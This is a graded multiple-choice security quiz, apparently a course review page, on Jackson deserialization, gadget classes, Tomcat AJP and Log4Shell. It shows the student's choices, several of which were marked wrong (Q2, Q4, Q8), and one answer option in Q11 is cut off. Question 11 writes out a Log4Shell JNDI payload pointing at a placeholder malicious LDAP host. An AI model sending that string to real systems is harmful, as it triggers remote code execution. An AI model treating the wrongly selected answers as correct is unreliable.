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Complete

Mark 1.00 out of 1.00

How can an attacker exploit the Jackson Databind vulnerability?

- ☐ a. By exploiting weak encryption in the JSON keys
- ☒ b. By sending a JSON payload containing dangerous `@type` metadata
- ☐ c. By passing a URL that bypasses authentication checks
- ☐ d. By injecting SQL queries into the serialized JSON

Question 2

Complete

Mark 0.00 out of 1.00

How can the risk associated with AJP be mitigated?

- ☐ a. Using a different logging library
- ☐ b. Restricting AJP traffic to trusted hosts and setting a secret
- ☒ c. Upgrading to the latest version of Java
- ☐ d. Disabling HTTPS and using HTTP only

Question 3

Complete

Mark 1.00 out of 1.00

What caused the Jackson Databind deserialization vulnerability?

- ☐ a. The absence of any type handling logic
- ☐ b. Insufficient logging mechanisms
- ☐ c. The use of outdated cryptographic algorithms
- ☒ d. A flaw in the handling of polymorphic types

Question 4

Complete

Mark 0.00 out of 1.00

What configuration change can help prevent Log4Shell attacks?

- ☐ a. Disabling log rotation in Log4j
- ☐ b. Increasing the logging level to DEBUG
- ☐ c. Setting `log4j2.formatMsgNoLookups=true`
- ☒ d. Using a firewall to block all incoming traffic

Question 5

Complete

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What is a gadget class in the context of deserialization vulnerabilities?

- ☒ a. A class that can be exploited during deserialization to perform unintended actions
- ☐ b. A class that logs all serialization and deserialization events
- ☐ c. A utility class that simplifies JSON handling
- ☐ d. A class that implements only the `Serializable` interface without methods

Question 6

Complete

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What is one major security risk of exposing an AJP connector to the internet?

- ☐ a. It can allow attackers to perform DNS cache poisoning.
- ☒ b. It can lead to remote code execution through deserialization exploits.
- ☐ c. It causes encryption keys to be logged in plain text.
- ☐ d. It makes the application vulnerable to Cross-Site Scripting (XSS).

Question 7

Complete

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What is the primary mitigation for the Jackson deserialization vulnerability?

- ☐ a. Using prepared statements for database queries
- ☐ b. Disabling all JSON handling in the application
- ☐ c. Switching to XML instead of JSON
- ☒ d. Upgrading to a patched version of Jackson and whitelisting allowed types

Question 8

Complete

Mark 0.00 out of 1.00

What made the Log4Shell vulnerability (CVE-2021-44228) possible?

- ☐ a. A lack of secure password storage in Log4j
- ☒ b. Unpatched vulnerabilities in the LDAP server
- ☐ c. Improper token validation in Log4j
- ☐ d. A remote code execution flaw in the JNDI lookup feature

Question 9

Complete

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What role does the AJP connector play in a Tomcat-based application?

- ☐ a. It handles file uploads from the client.
- ☐ b. It is responsible for TLS encryption of all HTTP requests.
- ☒ c. It serves as a bridge between a web server and Tomcat for request forwarding.
- ☐ d. It acts as a database connection pool manager.

Question 10

Complete

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What type of action might a gadget class perform when deserialized?

- ☐ a. Automatically hash all fields using SHA-256
- ☐ b. Send email alerts to the system administrator
- ☒ c. Write files or execute code without explicit calls from the application
- ☐ d. Automatically compress large objects in memory

Question 11

Complete

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Which input could trigger the Log4Shell vulnerability?

- ☐ a. `- ☐ b. `GET /login HTTP/1.1`
- ☐ c. `{ "username": "admin", "password": "password123" }`
- ☒ d. `\${jndi:ldap://malicious-server.com/a}`

Question 12

Complete

Mark 1.00 out of 1.00

Why are gadget classes often found in common libraries?

- ☐ a. Common libraries are more likely to be open source and freely available.
- ☐ b. Common libraries are written in older programming languages.
- ☒ c. Common libraries often include reusable classes with methods that may be automatically invoked during deserialization.
- ☐ d. Common libraries are more frequently updated and include additional features.